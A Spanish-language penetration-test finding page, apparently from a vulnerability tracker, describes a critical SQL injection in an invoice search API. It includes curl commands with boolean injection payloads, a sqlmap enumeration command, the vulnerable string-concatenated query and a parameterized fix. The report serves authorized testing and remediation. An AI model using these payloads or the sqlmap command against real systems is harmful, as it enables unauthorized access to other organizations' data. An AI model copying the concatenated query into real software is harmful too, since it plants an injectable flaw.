flawtrace
← Volver a vulnerabilidades

FT-031 · Injection

Inyección SQL en el buscador de facturas

api.acme.test/v2

Crítica · CVSS 9.1

IMPACTO

Qué puede ocurrir

El parámetro de búsqueda se concatena en la consulta SQL. Una cuenta con permisos mínimos puede leer tablas ajenas al inquilino, incluidas credenciales con hash y datos de facturación de otras organizaciones.

REPRODUCCIÓN

Prueba de concepto paso a paso

  1. 01

    Obtener un token de una cuenta de prueba

    Se usa la cuenta autorizada para el ejercicio, sin privilegios de administración.

    curl -s -X POST https://api.acme.test/v2/auth/login \
      -H 'Content-Type: application/json' \
      -d '{"email":"pentest-user@acme.test","password":"[REDACTED]"}' \
      | jq -r .access_token > token.txt
  2. 02

    Confirmar el punto de inyección

    Una comilla simple rompe la consulta y el backend devuelve el error del motor, lo que confirma que el valor llega sin parametrizar.

    curl -s -G https://api.acme.test/v2/invoices/search \
      -H "Authorization: Bearer $(cat token.txt)" \
      --data-urlencode "q=acme'"
  3. 03

    Verificar la condición booleana

    La respuesta cambia de 0 a 42 resultados según la condición inyectada: la consulta es controlable por el atacante.

    # falso  -> 0 resultados
    curl -s -G https://api.acme.test/v2/invoices/search \
      -H "Authorization: Bearer $(cat token.txt)" \
      --data-urlencode "q=acme' AND 1=2-- " | jq '.total'
    
    # verdadero -> 42 resultados
    curl -s -G https://api.acme.test/v2/invoices/search \
      -H "Authorization: Bearer $(cat token.txt)" \
      --data-urlencode "q=acme' AND 1=1-- " | jq '.total'
  4. 04

    Determinar el alcance con sqlmap

    Ejecutado con nivel y riesgo mínimos, sin volcado masivo: solo se enumeran nombres para medir el impacto.

    sqlmap -u "https://api.acme.test/v2/invoices/search?q=acme" \
      --headers="Authorization: Bearer $(cat token.txt)" \
      --level=2 --risk=1 --batch --technique=B \
      --dbs --threads=2
  5. 05

    Acotar la prueba

    Confirmada la lectura de una fila fuera del inquilino, se detiene la explotación y se notifica al responsable técnico el mismo día.

Ejecutado dentro de la ventana autorizada, con cuentas creadas para el ejercicio y sin extraer datos reales. Las credenciales aparecen siempre redactadas.

EVIDENCIA SANITIZADA

Respuesta del error (recortada)

HTTP/1.1 500 Internal Server Error
Content-Type: application/json

{
  "error": "syntax error at or near \"'\"",
  "hint": "SELECT id, number, total FROM invoices WHERE org_id = 'acme' AND number ILIKE '%acme'%'"
}

EVIDENCIA SANITIZADA

Consulta vulnerable (extracto del código revisado)

const { rows } = await db.query(
  `SELECT id, number, total FROM invoices
   WHERE org_id = '${orgId}' AND number ILIKE '%${query}%'`
);

REMEDIACIÓN

Consulta parametrizada

Sustituir la concatenación por consultas parametrizadas, aplicar una lista blanca en el campo de ordenación y ejecutar la aplicación con un rol de base de datos sin permisos sobre tablas de sistema.

const { rows } = await db.query(
  `SELECT id, number, total FROM invoices
   WHERE org_id = $1 AND number ILIKE '%' || $2 || '%'`,
  [orgId, query]
);

CLASIFICACIÓN

Ficha del hallazgo

Severidad
Crítica
CVSS v3.1
9.1
CWE
CWE-89
OWASP
A03:2021 · Injection
Validación
Validado · manual
Activo
api.acme.test/v2

VECTOR

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

REFERENCIAS

Material de apoyo